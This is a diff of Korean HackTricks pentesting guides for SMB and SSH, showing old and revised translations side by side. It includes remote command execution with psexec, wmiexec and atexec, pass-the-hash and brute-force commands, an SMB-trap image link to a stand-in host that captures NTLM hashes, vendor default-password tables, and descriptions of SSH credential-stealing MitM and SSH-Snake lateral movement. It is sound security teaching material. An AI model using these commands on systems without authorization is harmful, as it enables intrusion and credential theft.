# use Kerberos with tooling (reads your TGT from ccache)
|
||||
netexec smb <dc.fqdn> -k
|
||||
```
|
||||
완전한 클라이언트 설정(krb5.conf 생성, kinit, SSH GSSAPI/SPN 주의사항)은 다음을 참조하세요:
|
||||
|
||||
{{#ref}}
|
||||
../pentesting-kerberos-88/README.md
|
||||
{{#endref}}
|
||||
|
||||
## **명령 실행**
|
||||
|
||||
### **crackmapexec**
|
||||
|
||||
crackmapexec는 명령을 **악용하여** **mmcexec, smbexec, atexec, wmiexec** 중 어떤 것을 사용할 수 있으며, **wmiexec**가 **기본** 방법입니다. 사용할 옵션은 `--exec-method` 파라미터로 지정할 수 있습니다:
|
||||
crackmapexec는 mmcexec, smbexec, atexec, wmiexec 중 어느 것이든 활용해 명령을 실행할 수 있으며, 기본 방법은 wmiexec입니다. 선호하는 옵션은 `--exec-method` 매개변수로 지정할 수 있습니다:
|
||||
```bash
|
||||
apt-get install crackmapexec
|
||||
|
||||
@ -380,9 +394,9 @@ crackmapexec smb <IP> -d <DOMAIN> -u Administrator -H <HASH> #Pass-The-Hash
|
||||
```
|
||||
### [**psexec**](../../windows-hardening/lateral-movement/psexec-and-winexec.md)**/**[**smbexec**](../../windows-hardening/lateral-movement/smbexec.md)
|
||||
|
||||
두 옵션은 피해자 머신에 **새 서비스를 생성**(SMB를 통해 _\pipe\svcctl_ 사용)하고 이를 이용해 **무언가를 실행**합니다 (**psexec**는 실행 파일을 ADMIN$ 공유에 **업로드**하고 **smbexec**는 **cmd.exe/powershell.exe**를 가리키며 인수에 페이로드를 넣습니다 --**file-less technique-**-).\
|
||||
**추가 정보**: [**psexec** ](../../windows-hardening/lateral-movement/psexec-and-winexec.md)와 [**smbexec**](../../windows-hardening/lateral-movement/smbexec.md).\
|
||||
**kali**에서는 /usr/share/doc/python3-impacket/examples/에 위치합니다.
|
||||
두 옵션 모두 피해자 머신에 (SMB를 통해 _\pipe\svcctl_ 를 사용하여) **새 서비스를 생성**하고 이를 사용해 **무언가를 실행**합니다 (**psexec**는 실행 파일을 ADMIN$ share에 **업로드**하고, **smbexec**는 **cmd.exe/powershell.exe**를 가리키며 인자로 페이로드를 넣습니다 — **file-less technique**).\
|
||||
**자세한 정보**는 [**psexec** ](../../windows-hardening/lateral-movement/psexec-and-winexec.md)와 [**smbexec**](../../windows-hardening/lateral-movement/smbexec.md)를 참고하세요.\
|
||||
In **kali** it is located on /usr/share/doc/python3-impacket/examples/
|
||||
```bash
|
||||
#If no password is provided, it will be prompted
|
||||
./psexec.py [[domain/]username[:password]@]<targetName or address>
|
||||
@ -390,11 +404,11 @@ crackmapexec smb <IP> -d <DOMAIN> -u Administrator -H <HASH> #Pass-The-Hash
|
||||
psexec \\192.168.122.66 -u Administrator -p 123456Ww
|
||||
psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass the hash
|
||||
```
|
||||
**parameter**`-k`을(를) 사용하면 **NTLM** 대신 **kerberos**로 인증할 수 있습니다.
|
||||
Using **parameter**`-k`를 사용하면 **NTLM** 대신 **kerberos**로 인증할 수 있습니다.
|
||||
|
||||
### [wmiexec](../../windows-hardening/lateral-movement/wmiexec.md)/dcomexec
|
||||
|
||||
디스크를 건드리거나 새로운 서비스를 실행하지 않고 DCOM을 통해 **port 135.**\ 사용하여 커맨드 셸을 은밀하게 실행합니다.
|
||||
디스크를 건드리거나 새로운 서비스를 실행하지 않고 DCOM을 통해 **port 135.**으로 은밀하게 명령 셸을 실행합니다.\
|
||||
**kali**에서는 /usr/share/doc/python3-impacket/examples/에 위치합니다.
|
||||
```bash
|
||||
#If no password is provided, it will be prompted
|
||||
@ -402,7 +416,7 @@ psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass
|
||||
./wmiexec.py -hashes LM:NT administrator@10.10.10.103 #Pass-the-Hash
|
||||
#You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted
|
||||
```
|
||||
**매개변수**`-k`를 사용하면 **NTLM** 대신 **kerberos**로 인증할 수 있습니다.
|
||||
**파라미터**`-k`를 사용하면 **NTLM** 대신 **kerberos**로 인증할 수 있습니다.
|
||||
```bash
|
||||
#If no password is provided, it will be prompted
|
||||
./dcomexec.py [[domain/]username[:password]@]<targetName or address>
|
||||
@ -411,23 +425,23 @@ psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass
|
||||
```
|
||||
### [AtExec](../../windows-hardening/lateral-movement/atexec.md)
|
||||
|
||||
Task Scheduler를 통해 명령을 실행합니다 (SMB를 통해 _\pipe\atsvc_ 사용).\
|
||||
**kali**에서는 /usr/share/doc/python3-impacket/examples/에 위치합니다.
|
||||
작업 스케줄러를 통해 명령을 실행합니다 (SMB를 통해 _\pipe\atsvc_ 사용).\
|
||||
**kali**에서는 /usr/share/doc/python3-impacket/examples/
|
||||
```bash
|
||||
./atexec.py [[domain/]username[:password]@]<targetName or address> "command"
|
||||
./atexec.py -hashes <LM:NT> administrator@10.10.10.175 "whoami"
|
||||
```
|
||||
## Impacket 참고
|
||||
## Impacket 참조
|
||||
|
||||
[https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/](https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/)
|
||||
|
||||
### ksmbd 공격 표면 및 SMB2/SMB3 프로토콜 퍼징 (syzkaller)
|
||||
### ksmbd 공격 표면 및 SMB2/SMB3 프로토콜 fuzzing (syzkaller)
|
||||
|
||||
{{#ref}}
|
||||
ksmbd-attack-surface-and-fuzzing-syzkaller.md
|
||||
{{#endref}}
|
||||
|
||||
## **Bruteforce users credentials**
|
||||
## **Bruteforce 사용자 인증 정보**
|
||||
|
||||
**권장하지 않습니다. 허용된 최대 시도 횟수를 초과하면 계정이 차단될 수 있습니다**
|
||||
```bash
|
||||
@ -436,12 +450,12 @@ ridenum.py <IP> 500 50000 /root/passwds.txt #Get usernames bruteforcing that rid
|
||||
```
|
||||
## SMB relay attack
|
||||
|
||||
이 공격은 Responder 툴킷을 사용하여 내부 네트워크에서 **SMB authentication sessions**을 캡처하고, 이를 **relays** 하여 **target machine**으로 전달합니다. 인증 **session is successful** 하면 자동으로 **system** **shell**에 들어가게 됩니다.
|
||||
[**이 공격에 대한 자세한 정보는 여기를 참조하세요.**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
|
||||
이 공격은 Responder 툴킷을 사용해 내부 네트워크에서 **SMB authentication sessions**을 캡처하고, 이를 **target machine**으로 **relays**합니다. 인증 **session이 성공할 경우**, 자동으로 **system shell**로 진입하게 됩니다.
|
||||
[**이 공격에 대한 자세한 정보는 여기.**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
|
||||
|
||||
## SMB-Trap
|
||||
|
||||
Windows 라이브러리 URLMon.dll은 페이지가 SMB를 통해 일부 컨텐츠에 접근하려 할 때 자동으로 호스트에 인증을 시도합니다. 예: `img src="\\10.10.10.10\path\image.jpg"`
|
||||
Windows 라이브러리 URLMon.dll은 페이지가 SMB를 통해 어떤 콘텐츠에 접근하려 할 때 자동으로 호스트에 인증을 시도합니다. 예: `img src="\\10.10.10.10\path\image.jpg"`
|
||||
|
||||
이 동작은 다음 함수들에서 발생합니다:
|
||||
|
||||
@ -450,21 +464,21 @@ Windows 라이브러리 URLMon.dll은 페이지가 SMB를 통해 일부 컨텐
|
||||
- URLOpenStream
|
||||
- URLOpenBlockingStream
|
||||
|
||||
이 함수들은 일부 브라우저 및 도구(예: Skype)에서 사용됩니다.
|
||||
이는 일부 브라우저와 도구(예: Skype)에서 사용됩니다.
|
||||
|
||||
.png>)
|
||||
.png>)
|
||||
|
||||
### SMBTrap using MitMf
|
||||
|
||||
.png>)
|
||||
.png>)
|
||||
|
||||
## NTLM Theft
|
||||
|
||||
SMB Trapping과 유사하게, 예를 들어 SMB를 통해 target system에 악성 파일을 심는 것은 SMB 인증 시도를 유발할 수 있으며, Responder 같은 도구로 NetNTLMv2 해시를 가로챌 수 있습니다. 그런 해시는 오프라인에서 크랙되거나 [SMB relay attack](#smb-relay-attack)에 사용될 수 있습니다.
|
||||
SMB Trapping과 유사하게, 악성 파일을 타깃 시스템에 심는 것(예: SMB를 통해)은 SMB 인증 시도를 유발할 수 있으며, Responder 같은 도구로 NetNTLMv2 해시를 가로챌 수 있습니다. 그 해시는 오프라인에서 크랙하거나 [SMB relay attack](#smb-relay-attack)에 사용할 수 있습니다.
|
||||
|
||||
[참조: ntlm_theft](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md#ntlm_theft)
|
||||
[See: ntlm_theft](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md#ntlm_theft)
|
||||
|
||||
## HackTricks 자동 명령
|
||||
## HackTricks Automatic Commands
|
||||
```
|
||||
Protocol_Name: SMB #Protocol Abbreviation if there is one.
|
||||
Port_Number: 137,138,139 #Comma separated if there is more than one.
|
||||
@ -497,8 +511,8 @@ getArch.py -target {IP}
|
||||
|
||||
With Creds
|
||||
smbmap -H {IP} -u {Username} -p {Password}
|
||||
smbclient "\\\\{IP}\\\" -U {Username} -W {Domain_Name} -l {IP}
|
||||
smbclient "\\\\{IP}\\\" -U {Username} -W {Domain_Name} -l {IP} --pw-nt-hash `hash`
|
||||
smbclient "\\\\{IP}\\" -U {Username} -W {Domain_Name} -l {IP}
|
||||
smbclient "\\\\{IP}\\" -U {Username} -W {Domain_Name} -l {IP} --pw-nt-hash `hash`
|
||||
crackmapexec smb {IP} -u {Username} -p {Password} --shares
|
||||
GetADUsers.py {Domain_Name}/{Username}:{Password} -all
|
||||
GetNPUsers.py {Domain_Name}/{Username}:{Password} -request -format hashcat
|
||||
@ -533,4 +547,10 @@ Note: sourced from https://github.com/carlospolop/legion
|
||||
Command: msfconsole -q -x 'use auxiliary/scanner/smb/smb_version; set RHOSTS {IP}; set RPORT 139; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb2; set RHOSTS {IP}; set RPORT 139; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb_version; set RHOSTS {IP}; set RPORT 445; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb2; set RHOSTS {IP}; set RPORT 445; run; exit'
|
||||
|
||||
```
|
||||
## 참고 자료
|
||||
|
||||
- [NetExec (CME) wiki – Kerberos usage](https://www.netexec.wiki/)
|
||||
- [Pentesting Kerberos (88) – client setup and troubleshooting](../pentesting-kerberos-88/README.md)
|
||||
- [0xdf – HTB: TheFrizz](https://0xdf.gitlab.io/2025/08/23/htb-thefrizz.html)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -4,7 +4,7 @@
|
||||
|
||||
## 기본 정보
|
||||
|
||||
**SSH (Secure Shell 또는 Secure Socket Shell)**은 보안되지 않은 네트워크를 통해 컴퓨터에 대한 안전한 연결을 가능하게 하는 네트워크 프로토콜입니다. 원격 시스템에 접근할 때 데이터의 기밀성과 무결성을 유지하는 데 필수적입니다.
|
||||
**SSH (Secure Shell or Secure Socket Shell)**는 보안되지 않은 네트워크를 통해 컴퓨터에 대한 안전한 연결을 가능하게 하는 네트워크 프로토콜입니다. 원격 시스템에 접근할 때 데이터의 기밀성과 무결성을 유지하는 데 필수적입니다.
|
||||
|
||||
**기본 포트:** 22
|
||||
```
|
||||
@ -12,39 +12,39 @@
|
||||
```
|
||||
**SSH 서버:**
|
||||
|
||||
- [openSSH](http://www.openssh.org) – OpenBSD SSH, BSD, Linux 배포판 및 Windows 10 이후 Windows에 포함됨
|
||||
- [Dropbear](https://matt.ucc.asn.au/dropbear/dropbear.html) – 메모리와 프로세서 자원이 적은 환경을 위한 SSH 구현, OpenWrt에 포함됨
|
||||
- [PuTTY](https://www.chiark.greenend.org.uk/~sgtatham/putty/) – Windows용 SSH 구현, 클라이언트는 일반적으로 사용되지만 서버의 사용은 드물다
|
||||
- [CopSSH](https://www.itefix.net/copssh) – Windows용 OpenSSH 구현
|
||||
- [openSSH](http://www.openssh.org) – OpenBSD SSH로, BSD와 Linux 배포판 및 Windows 10 이후의 Windows에 탑재되어 제공됨
|
||||
- [Dropbear](https://matt.ucc.asn.au/dropbear/dropbear.html) – 메모리와 프로세서 자원이 제한된 환경을 위한 SSH 구현체로, OpenWrt에 포함됨
|
||||
- [PuTTY](https://www.chiark.greenend.org.uk/~sgtatham/putty/) – Windows용 SSH 구현체. 클라이언트가 일반적으로 사용되며 서버 사용은 드묾
|
||||
- [CopSSH](https://www.itefix.net/copssh) – Windows용 OpenSSH 구현체
|
||||
|
||||
**SSH 라이브러리 (서버 측 구현):**
|
||||
**SSH 라이브러리 (서버측 구현):**
|
||||
|
||||
- [libssh](https://www.libssh.org) – SSHv2 프로토콜을 구현하는 다중 플랫폼 C 라이브러리, [Python](https://github.com/ParallelSSH/ssh-python), [Perl](https://github.com/garnier-quentin/perl-libssh/) 및 [R](https://github.com/ropensci/ssh)에서 바인딩됨; KDE에서 sftp에 사용되며 GitHub에서 git SSH 인프라에 사용됨
|
||||
- [wolfSSH](https://www.wolfssl.com/products/wolfssh/) – ANSI C로 작성된 SSHv2 서버 라이브러리, 임베디드, RTOS 및 자원이 제한된 환경을 목표로 함
|
||||
- [Apache MINA SSHD](https://mina.apache.org/sshd-project/index.html) – Apache SSHD 자바 라이브러리는 Apache MINA를 기반으로 함
|
||||
- [paramiko](https://github.com/paramiko/paramiko) – Python SSHv2 프로토콜 라이브러리
|
||||
- [libssh](https://www.libssh.org) – SSHv2 프로토콜을 구현한 멀티플랫폼 C 라이브러리로, [Python](https://github.com/ParallelSSH/ssh-python), [Perl](https://github.com/garnier-quentin/perl-libssh/) 및 [R](https://github.com/ropensci/ssh) 바인딩을 제공; KDE의 sftp와 GitHub의 git SSH 인프라에서 사용됨
|
||||
- [wolfSSH](https://www.wolfssl.com/products/wolfssh/) – ANSI C로 작성된 SSHv2 서버 라이브러리로, 임베디드, RTOS 및 자원 제약 환경을 대상으로 함
|
||||
- [Apache MINA SSHD](https://mina.apache.org/sshd-project/index.html) – Apache SSHD java 라이브러리는 Apache MINA 기반임
|
||||
- [paramiko](https://github.com/paramiko/paramiko) – Python용 SSHv2 프로토콜 라이브러리
|
||||
|
||||
## 열거
|
||||
|
||||
### 배너 수집
|
||||
### Banner Grabbing
|
||||
```bash
|
||||
nc -vn <IP> 22
|
||||
```
|
||||
### 자동화된 ssh-audit
|
||||
|
||||
ssh-audit는 ssh 서버 및 클라이언트 구성 감사를 위한 도구입니다.
|
||||
ssh-audit는 ssh 서버 및 클라이언트 구성 감사 도구입니다.
|
||||
|
||||
[https://github.com/jtesta/ssh-audit](https://github.com/jtesta/ssh-audit)은 [https://github.com/arthepsy/ssh-audit/](https://github.com/arthepsy/ssh-audit/)의 업데이트된 포크입니다.
|
||||
[https://github.com/jtesta/ssh-audit](https://github.com/jtesta/ssh-audit) 는 [https://github.com/arthepsy/ssh-audit/](https://github.com/arthepsy/ssh-audit/)의 업데이트된 포크입니다.
|
||||
|
||||
**기능:**
|
||||
**특징:**
|
||||
|
||||
- SSH1 및 SSH2 프로토콜 서버 지원;
|
||||
- SSH1 and SSH2 프로토콜 서버 지원;
|
||||
- SSH 클라이언트 구성 분석;
|
||||
- 배너 가져오기, 장치 또는 소프트웨어 및 운영 체제 인식, 압축 감지;
|
||||
- 키 교환, 호스트 키, 암호화 및 메시지 인증 코드 알고리즘 수집;
|
||||
- 알고리즘 정보 출력 (사용 가능 시점, 제거/비활성화, 안전하지 않음/약함/구식 등);
|
||||
- 알고리즘 권장 사항 출력 (인식된 소프트웨어 버전에 따라 추가 또는 제거);
|
||||
- 보안 정보 출력 (관련 문제, 할당된 CVE 목록 등);
|
||||
- 배너 수집, 장치 또는 소프트웨어 및 운영 체제 인식, 압축 감지;
|
||||
- key-exchange, host-key, encryption 및 message authentication code 알고리즘 수집;
|
||||
- 알고리즘 정보 출력 (available since, removed/disabled, unsafe/weak/legacy, 등);
|
||||
- 알고리즘 권장사항 출력 (인식된 소프트웨어 버전에 따라 append 또는 remove);
|
||||
- 보안 정보 출력 (관련 이슈, assigned CVE 목록, 등);
|
||||
- 알고리즘 정보를 기반으로 SSH 버전 호환성 분석;
|
||||
- OpenSSH, Dropbear SSH 및 libssh의 역사적 정보;
|
||||
- Linux 및 Windows에서 실행;
|
||||
@ -77,7 +77,7 @@ ssh-keyscan -t rsa <IP> -p <PORT>
|
||||
```
|
||||
### 약한 암호 알고리즘
|
||||
|
||||
이는 기본적으로 **nmap**에 의해 발견됩니다. 그러나 **sslcan** 또는 **sslyze**를 사용할 수도 있습니다.
|
||||
이는 기본적으로 **nmap**으로 발견됩니다. 그러나 **sslcan** 또는 **sslyze**도 사용할 수 있습니다.
|
||||
|
||||
### Nmap 스크립트
|
||||
```bash
|
||||
@ -91,54 +91,74 @@ nmap -p22 <ip> --script ssh-auth-methods --script-args="ssh.user=root" # Check a
|
||||
|
||||
- `ssh`
|
||||
|
||||
## 사용자 이름, 비밀번호 및 개인 키에 대한 무차별 대입 공격
|
||||
## Brute force usernames, passwords and private keys
|
||||
|
||||
### 사용자 이름 열거
|
||||
### Username Enumeration
|
||||
|
||||
일부 OpenSSH 버전에서는 타이밍 공격을 사용하여 사용자를 열거할 수 있습니다. 이를 악용하기 위해 메타스플로잇 모듈을 사용할 수 있습니다:
|
||||
일부 OpenSSH 버전에서는 timing attack을 통해 사용자를 열거할 수 있습니다. 이를 악용하기 위해 metasploit module을 사용할 수 있습니다:
|
||||
```
|
||||
msf> use scanner/ssh/ssh_enumusers
|
||||
```
|
||||
### [무차별 대입 공격](../generic-hacking/brute-force.md#ssh)
|
||||
### [Brute force](../generic-hacking/brute-force.md#ssh)
|
||||
|
||||
일부 일반적인 ssh 자격 증명 [여기](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/ssh-betterdefaultpasslist.txt)와 [여기](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Common-Credentials/top-20-common-SSH-passwords.txt) 및 아래에 있습니다.
|
||||
일부 일반적인 ssh 자격증명은 [여기 ](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/ssh-betterdefaultpasslist.txt)와 [여기](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Common-Credentials/top-20-common-SSH-passwords.txt) 및 아래에 있습니다.
|
||||
|
||||
### 개인 키 무차별 대입 공격
|
||||
### Private Key Brute Force
|
||||
|
||||
사용할 수 있는 ssh 개인 키를 알고 있다면... 시도해 봅시다. nmap 스크립트를 사용할 수 있습니다:
|
||||
사용할 수 있는 ssh private keys를 알고 있다면... 시도해보자. nmap 스크립트를 사용할 수 있다:
|
||||
```
|
||||
https://nmap.org/nsedoc/scripts/ssh-publickey-acceptance.html
|
||||
```
|
||||
또는 MSF 보조 모듈:
|
||||
또는 MSF auxiliary module:
|
||||
```
|
||||
msf> use scanner/ssh/ssh_identify_pubkeys
|
||||
```
|
||||
Or use `ssh-keybrute.py` (native python3, lightweight and has legacy algorithms enabled): [snowdroppe/ssh-keybrute](https://github.com/snowdroppe/ssh-keybrute).
|
||||
또는 `ssh-keybrute.py`를 사용하세요 (native python3, 경량이며 legacy 알고리즘이 활성화되어 있음): [snowdroppe/ssh-keybrute](https://github.com/snowdroppe/ssh-keybrute).
|
||||
|
||||
#### 알려진 badkeys는 여기에서 찾을 수 있습니다:
|
||||
|
||||
#### Known badkeys can be found here:
|
||||
|
||||
{{#ref}}
|
||||
https://github.com/rapid7/ssh-badkeys/tree/master/authorized
|
||||
{{#endref}}
|
||||
|
||||
#### Weak SSH keys / Debian predictable PRNG
|
||||
#### 약한 SSH 키 / Debian의 예측 가능한 PRNG
|
||||
|
||||
일부 시스템은 암호화 자료를 생성하는 데 사용되는 랜덤 시드에 알려진 결함이 있습니다. 이로 인해 키 공간이 극적으로 줄어들어 무차별 대입 공격을 받을 수 있습니다. 약한 PRNG의 영향을 받는 Debian 시스템에서 생성된 미리 생성된 키 세트는 여기에서 사용할 수 있습니다: [g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh).
|
||||
일부 시스템은 암호화 관련 자원을 생성할 때 사용하는 랜덤 시드에 알려진 결함이 있습니다. 이로 인해 키스페이스가 크게 축소되어 bruteforce로 깨질 수 있습니다. 약한 PRNG의 영향을 받은 Debian 시스템에서 생성된 사전 생성 키 세트는 여기에서 이용할 수 있습니다: [g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh).
|
||||
|
||||
피해자 머신의 유효한 키를 검색하려면 여기를 확인해야 합니다.
|
||||
피해자 머신의 유효한 키를 찾기 위해 여기를 확인하세요.
|
||||
|
||||
### Kerberos
|
||||
### Kerberos / GSSAPI SSO
|
||||
|
||||
**crackmapexec**는 `ssh` 프로토콜을 사용하여 **kerberos를 통해 인증**할 수 있는 `--kerberos` 옵션을 사용할 수 있습니다.\
|
||||
자세한 정보는 `crackmapexec ssh --help`를 실행하십시오.
|
||||
대상 SSH 서버가 GSSAPI를 지원하는 경우(예: 도메인 컨트롤러의 Windows OpenSSH), 비밀번호 대신 Kerberos TGT를 사용해 인증할 수 있습니다.
|
||||
|
||||
## Default Credentials
|
||||
워크플로우 (Linux 공격자 호스트 기준):
|
||||
```bash
|
||||
# 1) Ensure time is in sync with the KDC to avoid KRB_AP_ERR_SKEW
|
||||
sudo ntpdate <dc.fqdn>
|
||||
|
||||
| **Vendor** | **Usernames** | **Passwords** |
|
||||
# 2) Generate a krb5.conf for the target realm (optional, but handy)
|
||||
netexec smb <dc.fqdn> -u <user> -p '<pass>' -k --generate-krb5-file krb5.conf
|
||||
sudo cp krb5.conf /etc/krb5.conf
|
||||
|
||||
# 3) Obtain a TGT for the user
|
||||
kinit <user>
|
||||
klist
|
||||
|
||||
# 4) SSH with GSSAPI, using the FQDN that matches the host SPN
|
||||
ssh -o GSSAPIAuthentication=yes <user>@<host.fqdn>
|
||||
```
|
||||
Notes:
|
||||
- 잘못된 이름(예: 짧은 호스트, 별칭, 또는 /etc/hosts의 잘못된 순서)으로 연결하면 SPN이 일치하지 않아 "Server not found in Kerberos database" 오류가 발생할 수 있습니다.
|
||||
- `crackmapexec ssh --kerberos`는 Kerberos 인증을 위해 ccache를 사용할 수도 있습니다.
|
||||
|
||||
## 기본 자격증명
|
||||
|
||||
| **공급업체** | **사용자 이름** | **비밀번호** |
|
||||
| ---------- | ----------------------------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| APC | apc, device | apc |
|
||||
| Brocade | admin | admin123, password, brocade, fibranne |
|
||||
| Cisco | admin, cisco, enable, hsa, pix, pnadmin, ripeop, root, shelladmin | admin, Admin123, default, password, secur4u, cisco, Cisco, \_Cisco, cisco123, C1sco!23, Cisco123, Cisco1234, TANDBERG, change_it, 12345, ipics, pnadmin, diamond, hsadb, c, cc, attack, blender, changeme |
|
||||
| Cisco | admin, cisco, enable, hsa, pix, pnadmin, ripeop, root, shelladmin | admin, Admin123, default, password, secur4u, cisco, Cisco, _Cisco, cisco123, C1sco!23, Cisco123, Cisco1234, TANDBERG, change_it, 12345, ipics, pnadmin, diamond, hsadb, c, cc, attack, blender, changeme |
|
||||
| Citrix | root, nsroot, nsmaint, vdiadmin, kvm, cli, admin | C1trix321, nsroot, nsmaint, kaviza, kaviza123, freebsd, public, rootadmin, wanscaler |
|
||||
| D-Link | admin, user | private, admin, user |
|
||||
| Dell | root, user1, admin, vkernel, cli | calvin, 123456, password, vkernel, Stor@ge!, admin |
|
||||
@ -153,43 +173,43 @@ https://github.com/rapid7/ssh-badkeys/tree/master/authorized
|
||||
|
||||
## SSH-MitM
|
||||
|
||||
피해자가 사용자 이름과 비밀번호를 사용하여 SSH 서버에 연결하려고 할 때 로컬 네트워크에 있는 경우, **MitM 공격을 수행하여 해당 자격 증명을 훔칠 수 있습니다:**
|
||||
로컬 네트워크에서 피해자가 username/password로 SSH 서버에 연결하려는 경우, 해당 자격증명을 훔치기 위해 MitM 공격을 수행할 수 있습니다:
|
||||
|
||||
**공격 경로:**
|
||||
Attack path(공격 경로):
|
||||
|
||||
- **트래픽 리디렉션:** 공격자는 피해자의 트래픽을 자신의 머신으로 **전환**하여 SSH 서버에 대한 연결 시도를 **가로챕니다**.
|
||||
- **가로채기 및 로깅:** 공격자의 머신은 합법적인 SSH 서버인 척 하여 사용자의 로그인 세부 정보를 **캡처**하는 **프록시** 역할을 합니다.
|
||||
- **명령 실행 및 중계:** 마지막으로, 공격자의 서버는 사용자의 자격 증명을 **로그**하고, 명령을 실제 SSH 서버에 **전달**하여 **실행**하고, 결과를 사용자에게 **다시 전송**하여 프로세스가 매끄럽고 합법적으로 보이게 합니다.
|
||||
- Traffic Redirection: 공격자는 피해자의 트래픽을 자신의 머신으로 유도하여 SSH 서버로의 연결 시도를 가로챕니다.
|
||||
- Interception and Logging: 공격자의 머신은 프록시처럼 동작하며 합법적인 SSH 서버인 척 하면서 사용자의 로그인 정보를 캡처합니다.
|
||||
- Command Execution and Relay: 공격자의 서버는 사용자의 자격증명을 기록하고, 명령을 실제 SSH 서버로 전달해 실행하며 결과를 사용자에게 다시 전송하여 과정이 매끄럽고 합법적으로 보이게 합니다.
|
||||
|
||||
[**SSH MITM**](https://github.com/jtesta/ssh-mitm)은 위에서 설명한 대로 정확히 수행합니다.
|
||||
[**SSH MITM**](https://github.com/jtesta/ssh-mitm)는 위에서 설명한 동작을 정확히 수행합니다.
|
||||
|
||||
실제 MitM을 수행하기 위해 ARP 스푸핑, DNS 스푸핑 또는 [**Network Spoofing attacks**](../generic-methodologies-and-resources/pentesting-network/index.html#spoofing)에서 설명된 다른 기술을 사용할 수 있습니다.
|
||||
실제 MitM을 수행하여 캡처하려면 ARP spoofing, DNS spoofin 등 [**Network Spoofing attacks**](../generic-methodologies-and-resources/pentesting-network/index.html#spoofing)에 설명된 기법들을 사용할 수 있습니다.
|
||||
|
||||
## SSH-Snake
|
||||
|
||||
발견된 SSH 개인 키를 사용하여 시스템에서 네트워크를 탐색하고 각 시스템의 각 개인 키를 새로운 호스트에 활용하려면 [**SSH-Snake**](https://github.com/MegaManSec/SSH-Snake)가 필요합니다.
|
||||
발견된 SSH private keys를 이용해 시스템 간을 횡단하고, 각 시스템에서 새로운 호스트에 대해 해당 개인 키를 사용하는 방식으로 네트워크를 탐색하려면 [**SSH-Snake**](https://github.com/MegaManSec/SSH-Snake)를 사용하세요.
|
||||
|
||||
SSH-Snake는 다음 작업을 자동으로 재귀적으로 수행합니다:
|
||||
SSH-Snake는 자동으로 재귀적으로 다음 작업을 수행합니다:
|
||||
|
||||
1. 현재 시스템에서 모든 SSH 개인 키를 찾습니다,
|
||||
2. 현재 시스템에서 개인 키가 수락될 수 있는 모든 호스트 또는 목적지(user@host)를 찾습니다,
|
||||
3. 발견된 모든 개인 키를 사용하여 모든 목적지에 SSH 연결을 시도합니다,
|
||||
4. 목적지에 성공적으로 연결되면 연결된 시스템에서 #1 - #4 단계를 반복합니다.
|
||||
1. 현재 시스템에서 SSH private keys를 찾습니다,
|
||||
2. 현재 시스템에서 해당 개인 키로 접근이 허용될 수 있는 호스트나 대상(user@host)을 찾습니다,
|
||||
3. 발견한 모든 개인 키를 사용해 모든 대상에 대해 SSH 접속을 시도합니다,
|
||||
4. 대상에 성공적으로 접속하면, 연결된 시스템에서 1–4단계를 반복합니다.
|
||||
|
||||
완전히 자기 복제 및 자기 전파가 가능하며, 완전히 파일이 없습니다.
|
||||
이는 완전히 자기 복제적이고 자기 전파적이며, 파일리스(fileless) 방식입니다.
|
||||
|
||||
## Config Misconfigurations
|
||||
## 구성 오류
|
||||
|
||||
### Root login
|
||||
### 루트 로그인
|
||||
|
||||
SSH 서버가 기본적으로 루트 사용자 로그인을 허용하는 것은 일반적이며, 이는 상당한 보안 위험을 초래합니다. **루트 로그인을 비활성화하는 것**은 서버 보안의 중요한 단계입니다. 관리 권한으로의 무단 접근 및 무차별 대입 공격을 완화할 수 있습니다.
|
||||
SSH 서버에서 루트 사용자 로그인을 기본적으로 허용하는 경우가 많으며, 이는 심각한 보안 위험을 초래합니다. 루트 로그인을 비활성화하는 것은 서버 보안의 중요한 단계입니다. 관리 권한으로의 무단 접근 및 무차별 대입 공격을 완화할 수 있습니다.
|
||||
|
||||
**OpenSSH에서 루트 로그인 비활성화:**
|
||||
To Disable Root Login in OpenSSH( OpenSSH에서 루트 로그인 비활성화 방법):
|
||||
|
||||
1. `sudoedit /etc/ssh/sshd_config`로 SSH 구성 파일을 **편집**합니다.
|
||||
2. `#PermitRootLogin yes`에서 **`PermitRootLogin no`**로 **설정을 변경**합니다.
|
||||
3. `sudo systemctl daemon-reload`를 사용하여 **구성을 다시 로드**합니다.
|
||||
4. 변경 사항을 적용하기 위해 SSH 서버를 **재시작**합니다: `sudo systemctl restart sshd`
|
||||
1. SSH 설정 파일을 편집합니다: `sudoedit /etc/ssh/sshd_config`
|
||||
2. 설정을 `#PermitRootLogin yes`에서 **`PermitRootLogin no`**로 변경합니다.
|
||||
3. 구성을 다시 로드합니다: `sudo systemctl daemon-reload`
|
||||
4. 변경 사항을 적용하려면 SSH 서버를 재시작합니다: `sudo systemctl restart sshd`
|
||||
|
||||
### SFTP Brute Force
|
||||
|
||||
@ -197,9 +217,9 @@ SSH 서버가 기본적으로 루트 사용자 로그인을 허용하는 것은
|
||||
|
||||
### SFTP command execution
|
||||
|
||||
